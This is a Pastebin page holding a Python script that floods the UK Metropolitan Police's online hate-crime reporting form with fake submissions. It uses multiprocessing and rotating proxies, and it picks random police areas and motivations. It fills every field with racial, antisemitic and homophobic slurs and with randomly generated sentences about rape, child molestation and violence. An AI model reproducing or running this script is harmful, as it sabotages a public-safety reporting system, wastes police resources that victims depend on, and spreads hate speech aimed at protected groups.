Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import multiprocessing
- from random import choice, randint
- from re import findall
- import requests
- from bs4 import BeautifulSoup
- from collections import defaultdict
- try:
- from anybar import AnyBar
- def notify(colour: str = 'white', msg: str = ''):
- AnyBar().change(colour, msg)
- except (ImportError, ModuleNotFoundError):
- def notify(*args, **kargs):
- pass
- slurs = ['Niggers', 'Kikes', 'Juden', 'Yids', 'Oven dodgers', 'The chosen people', 'Bankers', 'Heebs', 'Wogs',
- 'Nogs', 'Slants', 'Faggots', 'Monkeys', 'Porch monkeys', 'Basketballs', 'Apes', 'Coons', 'Jigaboos',
- 'Niglets', 'Boongs', 'Camel jockeys', 'Sand niggers', 'Towelheads', 'Ragheads', 'Chinks']
- def gen_sentence():
- verbs = ['stole', 'raped', 'ate', 'kiked', 'blacked', 'monkeyed', 'niggered', 'jewed', 'penetrated', 'smoked',
- 'popped', 'shot', 'beat', 'jumped', 'molested', 'drove', 'hopped', 'dropped', 'fucked', 'liquored up',
- 'snorted', 'organised', 'had homo sex with', "woo-hoo'd", 'ran train on', 'had anal sex with', 'fought',
- 'fought naked', 'traumatised', 'licked', 'sucked', 'educated', 'taught', 'bleached', 'yellowed', 'sniffed',
- 'touched', 'fingered', 'unzipped', 'tunneled', 'bored', 'drilled', 'ravaged']
- adjectives = ['', '', '', '', 'n intoxicated', 'n unhappy', ' high', ' drunk', ' dead', ' black', ' dodgy',
- ' yellow', ' sweaty', ' tired', ' wholesome', 'n engaged', ' jewish', ' horny', ' holy', ' slutty']
- nouns = ['young girl', 'young boy', 'postman', 'milkman', 'dog walker', 'cat walker', 'pilot', 'chef',
- 'apple employee', 'Microsoft employee', 'donkey', 'rat', 'doggo', 'car', 'motorcycle', 'lorry', 'teacher',
- 'plumber', 'sparky', 'cardio expert', 'queen', 'prince', 'king', 'princess', 'smith', 'gun slinger',
- 'pop star', 'jew', 'nobel prize winner', 'German', 'Frenchman', 'sunbather', 'tourist', 'dinosaur']
- return f"{choice(slurs)} {choice(verbs)} a{choice(adjectives)} {choice(nouns)}"
- def spammer(i, provided_proxies: list = False):
- link = 'https://beta.met.police.uk/true-vision-report-hate-crime/'
- areas = ['Avon and Somerset Constabulary', 'Bedfordshire Police', 'British Transport Police',
- 'Cambridgeshire Constabulary', 'Cheshire Constabulary', 'City of London', 'Cleveland Police',
- 'Cumbria Constabulary', 'Derbyshire Constabulary', 'Devon and Cornwall Police', 'Dorset Police',
- 'Durham Constabulary,', 'Dyfed-Powys Police Heddlu Dyfed-Powys,', 'Essex Police,',
- 'Gloucestershire Constabulary', 'Greater Manchester Police', 'Gwent Police / Heddlu Gwent', 'Hampshire',
- 'Hampshire Isle of Wight', 'Hertfordshire Constabulary', 'Humberside Police', 'Isle of Man Police',
- 'Kent Police', 'Lancashire Constabulary', 'Leicestershire Constabulary', 'Lincolnshire Police',
- 'Merseyside Police', 'Metropolitan Police', 'Norfolk Constabulary', 'Northamptonshire Police',
- 'Northumbria Northumberland', 'Northumbria Tyne and Wear', 'North Wales Police Heddlu Gogledd Cymru',
- 'North Yorkshire Police', 'Nottinghamshire Police', 'Police Service for Northern Ireland',
- 'South Wales Police / Heddlu De Cymru', 'South Yorkshire Police', 'Staffordshire Police',
- 'States of Jersey Police', 'Suffolk Constabulary', 'Surrey Police', 'Sussex Police',
- 'Thames Valley Berkshire', 'Thames Valley Milton Keynes', 'Thames Valley Oxfordshire',
- 'Warwickshire Police', 'West Mercia Herefordshire', 'West Mercia Shropshire',
- 'West Mercia Telford and Wrekin', 'West Mercia Worcestershire', 'West Midlands Police',
- 'West Yorkshire Police', 'Wiltshire Police']
- motivation = ['Disability', 'Race', 'Religious belief', 'Sexual orientation', 'Transgender', 'Other']
- date = "%02d/%02d/%s"
- proxies = [
- ]
- proxies = provided_proxies or list(set((i[0] + ':' + i[1]) for i in proxies))
- fails = defaultdict(int)
- while proxies:
- try:
- proxy = choice(proxies)
- proxy = {
- 'http': proxy,
- 'https': proxy
- }
- ses = requests.session()
- page = ses.get(link, timeout=3, proxies=proxy)
- if page.status_code != 200:
- raise requests.ConnectionError
- page = BeautifulSoup(page.text, 'html5lib')
- inputs = page.find('form')
- inputs = inputs.find_all('input')
- if not inputs:
- raise requests.ConnectionError
- inputs = {i['name']: i['value'] for i in inputs}
- inputs['PoliceAreaCounty'] = choice(areas)
- inputs['MotivationSelect'] = choice(motivation)
- inputs['VictimOrWitnessSelection'] = 'Victim'
- inputs['DescribeTheIncident'] = gen_sentence()
- inputs['WhyDoYouPerceiveThisToBeMotivatedByHatred?'] = 'FUCK' + choice(slurs)
- inputs['WhatDateDidTheIncidentTakePlace?'] = date % (randint(1, 25), randint(1, 10), randint(2009, 2017))
- inputs['WhatTimeDidTheIncidentTakePlace?_hour?'] = "%20d" % randint(0, 23)
- inputs['WhatTimeDidTheIncidentTakePlace?_minute'] = "%20d" % randint(0, 59)
- inputs['WereYouOrAnyoneElseInjured??_minute'] = 'Yes'
- inputs['IfYesOrNotSure,PleaseSpecify??_minute'] = 'Society'
- inputs['DidAnyLossOrDamageToPropertyResultFromThisIncident?'] = 'No'
- inputs['WereThereAnyWitnesses?'] = 'No'
- inputs['WasTheIncidentRecordedOnCCTV?'] = 'No'
- inputs['HowManyOffendersWereThere?'] = 'Not sure'
- inputs['DoYouKnowThem?'] = 'No'
- inputs['CanYouNameThem?'] = 'No'
- inputs['DidTheOffenderHaveAVehicle?'] = 'No'
- inputs['AreYouWillingToGiveYourDetailsToThePolice?'] = 'No'
- inputs['WhatIsYourGender?'] = 'Female'
- inputs["IfYouSelected'Other'PleaseSpecify?"] = 'Normal, death to faggots'
- inputs['YourEthnicity'] = 'White British'
- inputs['EthnicityOfTheOffender(S)?'] = choice(slurs)
- inputs["PleaseSpecifyHowWeMayContactYou"] = 'Through a third person'
- inputs["WhereDidTheIncidentTakePlace?"] = choice(slurs)
- dat = ses.post(link, data=inputs, proxies=proxy)
- if dat.status_code != 200:
- raise requests.ConnectionError
- result = findall('>(\w{3}-\d+-\d+-\w+)<', dat.text)
- if result:
- print(f'[{i}] Report-ID: {result[0]}, \"{inputs["DescribeTheIncident"]}\"')
- fails[proxy['http']] -= 1
- if type(i) is int:
- spammer(f'S{i}', [proxy['http']] * 4)
- notify('green')
- continue
- raise requests.ConnectionError
- except (requests.ConnectionError, requests.Timeout):
- fails[proxy['http']] += 1
- if fails[proxy['http']]:
- proxies.remove(proxy['http'])
- notify('red')
- continue
- except KeyboardInterrupt:
- return
- if type(i) is not int:
- print(f"---- [{i}] end success ----")
- try:
- notify('yellow', 'starting')
- multiprocessing.Pool(4).map(spammer, range(4))
- notify('blue', 'Out of proxies')
- except KeyboardInterrupt:
- notify()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement